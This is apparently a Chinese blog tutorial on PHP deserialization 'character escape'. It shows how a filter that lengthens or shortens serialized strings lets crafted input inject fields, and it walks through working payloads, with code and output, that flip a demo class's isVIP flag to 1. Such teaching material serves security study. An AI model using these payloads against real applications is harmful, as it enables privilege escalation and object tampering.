PHP反序列化字符逃逸的原理

当开发者使用先将对象序列化,然后将对象中的字符进行过滤,

最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

详解PHP反序列化字符逃逸

过滤后字符变多

我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。

class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} $a = new user("admin","123456");
$a_seri = serialize($a); echo $a_seri;
?>

输出结果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,对象序列化之后的isVIP变量是0。

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

function filter($s){
return str_replace("admin","hacker",$s);
}

因此整段程序如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hacker",$s);
} $a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;
?>

这一段程序的输出为:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

s:5:"admin";
s:5:"hacker";

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串目标子串进行对比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

而目标字串就是我们要注入的目标,长度为47

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此,我们只需要重复47遍admin,然后加上我们逃逸后的目标字串

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

代码如下:

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;

程序输出结果为:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

此时一共47个hacker共282个字符正好与前面的282相对应。后面的字符完成了逃逸。

此时多余的字符串就会被抛弃。

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hacker",$s);
} $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri);
?>

输出结果如下:

object(user)#2 (3) {
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

过滤后字符变少

此时把class中的hacker改为hack

完整代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hack",$s);
} $a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;
?>

输出结果:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同样比较一下现有子串目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

计算一下目标子串的长度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串
//长度为47

再计算一下到下一个可控变量的字符串长度:

";s:8:"password";s:6:"
//长度为22

因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整

完整代码如下:(这里的变量里一共有22个admin)

$a = new user("adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin",'123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;

输出结果:

O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

注意:

PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

这里我们需要仔细看一下s后面是110,也就是说我们需要读取到110个字符。从第一个引号开始,110个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串

此时的对象为:

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');

输出结果为:

O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"

一共111个字符,但是前面只有显示110

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加1个admin,这样就可以补上缺少的字符。

修改后代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hack",$s);
} $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;
?>

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

我们将对象反序列化然后输出,代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hack",$s);
} $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri);
?>

输出结果:

object(user)#2 (3) {
["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

参考文章

PHP反序列化字符逃逸 学习记录的更多相关文章

  1. 详解PHP反序列化中的字符逃逸

    首发先知社区,https://xz.aliyun.com/t/6718/ PHP 反序列化字符逃逸 下述所有测试均在 php 7.1.13 nts 下完成 先说几个特性,PHP 在反序列化时,对类中不 ...

  2. Python学习记录day5

    title: Python学习记录day5 tags: python author: Chinge Yang date: 2016-11-26 --- 1.多层装饰器 多层装饰器的原理是,装饰器装饰函 ...

  3. git原理学习记录:从基本指令到背后原理,实现一个简单的git

    一开始我还担心 git 的原理会不会很难懂,但在阅读了官方文档后我发现其实并不难懂,似乎可以动手实现一个简单的 git,于是就有了下面这篇学习记录. 本文的叙述思路参照了官方文档Book的原理介绍部分 ...

  4. Python学习记录day6

    title: Python学习记录day6 tags: python author: Chinge Yang date: 2016-12-03 --- Python学习记录day6 @(学习)[pyt ...

  5. 《java从入门到精通》学习记录

    目录 <Java从入门到精通>学习记录 3 基础的基础部分: 3 一. 常量与变量 3 1. 掌握: 3 (1) .常量与变量的声明方式: 3 (2) .变量的命名规则: 3 (3) .变 ...

  6. Android开发技术周报183学习记录

    Android开发技术周报183学习记录 教程 Android性能优化来龙去脉总结 记录 一.性能问题常见 内存泄漏.频繁GC.耗电问题.OOM问题. 二.导致性能问题的原因 1.人为在ui线程中做了 ...

  7. V4L2学习记录【转】

    转自:http://blog.chinaunix.net/uid-30254565-id-5637600.html V4L2学习记录 这个还没有分析完,先在这放着,防止电脑坏掉丢了,以后再完善 V4L ...

  8. Python大神成长之路: 第三次学习记录 集合 函数 装饰 re

    学习记录day03   字符串可以直接切片,But字符串不可修改 字符串修改:生成了一个新的字符串 LIst修改,在原基础上修改(原内存上)     集合是一个无序的,不重复的数据组合,它的主要作用如 ...

  9. Java设计模式学习记录-单例模式

    前言 已经介绍和学习了两个创建型模式了,今天来学习一下另一个非常常见的创建型模式,单例模式. 单例模式也被称为单件模式(或单体模式),主要作用是控制某个类型的实例数量是一个,而且只有一个. 单例模式 ...

  10. 防止sql注入和跨站脚本攻击,跨站请求伪造以及一句话木马的学习记录

    以下是来自精通脚本黑客的学习记录 防止以上漏洞的最好的方式 一对用户的输入进行编码,对用户输入进行编码,然后存入数据库,取出时解码成utf-8 二对用户的输入进行过滤,过滤jscript,javasc ...

随机推荐

  1. SICP:求值和环境模型(Python实现)

    绪论 我们在第一章引进复合过程时,采用了求值的代换模型定义了将过程应用于实参(arguments)的意义: 将一个复合过程应用于一些实参,也就意味着用实参替换过程体里对应的形参(formal para ...

  2. tModLoader随机掉落模组编写

    pre { overflow-y: auto; max-height: 400px } img { max-width: 500px; max-height: 300px } 1. 整体思路 目标是实 ...

  3. kafka rebalance你真的了解吗

    介绍 今天主要分享一下 kafka 的 rebalance,在 kafka 中,rebalance 是一个十分重要的概念,很多时候引发的一些问题可能都是由于 rebalance 引起的,rebalan ...

  4. vue中 computed和watch的一些简单理解(区别)

    今天看到一个问题,就是vue的computed和watch要在哪些场景下使用,其实也就是在问他们的区别.computed也就是计算属性,它可以帮助我们将在模板中的一些稍微复杂的逻辑计算放回到js代码中 ...

  5. selenium验证码处理-获取验证码图片二进流数据转成原图保存

    1.因为视频的作者给的代码不完整,只有核心部分的代码. 2.视频作者示例使用的第三方破解12306的脚本网页(失效了) 所以本人无法复现,此次截取部分代码作为理解核心意思(思想方法最重要) 1.面向对 ...

  6. [J2EE]SSM整合/Spring 与 MyBatis的整合【待续】

    参考文献 spring与mybatis五种整合方法 - 博客园/推荐

  7. Git多平台/多账号配置

    有时候需要在一台电脑使用多个git平台(Gitee.GitHub.Gitlab...)或者一个平台多个不同账号,比如想同时配置公司git和个人的git,提交代码时提交到对应的平台/账号的代码仓库且互不 ...

  8. C# 反射 操作列表类型属性

    本文介绍对列表进行创建及赋值的反射操作 我们现在有TestA.TestB类,TestA中有TestB类型列表的属性List,如下: 1 public class TestA 2 { 3 public ...

  9. Win Pycharm + Appium + 真机 实现APP自动化

    前言: 测试的APP:亿通行 手机型号:OPPO 系统:安卓10 一.安装Python3.x 1.直接登录Python官网https://www.python.org/,下载最新版本即可 2.安装Py ...

  10. #Powerbi 利用视觉对象着色地图,制作数据地图

    日常工作中,有时我们会遇到需要地图来展示我们的数据场景,利用POWERBI,我们可以快速的制作自己的业务地图. Powerbi自带了三大地图,今天我们用到的是形状地图. 步骤讲解: 第一步:下载对应的 ...